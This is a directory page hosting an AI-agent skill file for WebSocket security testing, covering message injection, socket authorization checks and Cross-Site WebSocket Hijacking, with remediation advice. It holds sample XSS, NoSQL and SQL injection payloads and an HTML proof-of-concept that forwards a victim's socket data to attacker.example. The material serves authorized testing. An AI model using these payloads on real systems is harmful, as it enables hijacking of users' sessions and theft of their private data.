Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Websocket Security?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-websocket-security)
---
name: websocket-security
description: WebSocket security testing — Cross-Site WebSocket Hijacking (CSWSH), message tampering/injection, authentication-on-socket, and Origin validation. Tier 1. Use whenever the app uses WebSockets (ws:// / wss://) for chat, live data, notifications, or actions.
---
# WebSocket Security
WebSocket messages are just another input, and the handshake is just another authenticated request — attack both. Points ref: `${CLAUDE_PLUGIN_ROOT}/payloads/INJECTION-POINTS.md`.
## Trigger phrases
`websocket, ws, wss, cswsh, cross-site websocket hijacking, socket message injection, origin validation, websocket auth`
## Method
1. **Find & intercept** — exercise app features; review Burp Proxy → WebSockets history; intercept per-direction (client↔server); replay/forge in Repeater. Edit the handshake (pencil icon → attach/clone/reconnect) to refresh tokens or reach surface.
2. **Message tampering / injection** — treat every message field as input. The app may render/process it unsanitized:
```json
{"message":"<img src=1 onerror='alert(1)'>"} // XSS
{"room":{"$ne":null}} // NoSQLi
{"id":"1 OR 1=1"} // SQLi
```
also command injection, XXE, path traversal — use the matching `${CLAUDE_PLUGIN_ROOT}/payloads/*.md`. Blind → OOB (`api-oast-blind`).
3. **Auth on the socket** — is each message authorized, or only the handshake? Send privileged actions after connecting with a low-priv/other session (BOLA/BFLA over WS). Can you send messages before/without auth?
4. **Handshake trust abuse** — if security decisions use `X-Forwarded-For`/custom handshake headers, spoof them.
5. **Origin validation** — check whether the handshake validates `Origin`; a missing/loose check enables CSWSH.
## CSWSH (Cross-Site WebSocket Hijacking)
- **Condition:** handshake authenticated by **cookies only**, no CSRF token/unpredictable value. `Sec-WebSocket-Key` is *not* auth.
- **PoC** — attacker page opens a WS to the target; the browser attaches cookies, so the socket runs in the victim's session — and unlike CSRF you can **read** responses:
```html
<script>
var ws = new WebSocket('wss://victim.example/chat');
ws.onopen = () => ws.send('READ_MESSAGES');
ws.onmessage = e => fetch('https://attacker.example/x?d='+encodeURIComponent(e.data));
</script>
```
## Modern / rare techniques
- **[RARE] CSWSH read-exfil** — the differentiator from CSRF: full two-way read of victim data, not just a blind action.
- **[RARE] Handshake-header spoofing** — `X-Forwarded-For`/custom headers set at upgrade time trusted for authz.
- **[RARE] Missing per-message authz** — socket authenticated once, then every action trusted; swap IDs in messages for BOLA.
## Escalation / chaining
CSWSH → data theft + actions as victim. Message injection → stored XSS / SQLi / NoSQLi / command exec (chain `api-injection`, `blind-xss`). Per-message BOLA/BFLA → cross-tenant/privileged actions.
## Backend & tooling
Preferred Kali path (WSL+Kali / Kali-MCP / HexStrike). Burp WebSockets history + Repeater; a headless browser / hosted attacker page for the CSWSH PoC; interactsh for blind message injection. See `zazy-orchestrator`.
## Verification (background, before reporting)
CSWSH: attacker server actually receives the victim's private data or a privileged action executes (reproduce from a clean browser profile). Injection: confirm with a second payload/OAST. True positives only.
## Evidence
For CSWSH: the attacker page + the captured victim data / executed action, Origin shown unvalidated. For injection: the tampered message + response/OOB proof. Impact + remediation (validate `Origin`, CSRF token in handshake, don't rely on cookies alone, per-message authz, sanitize message fields).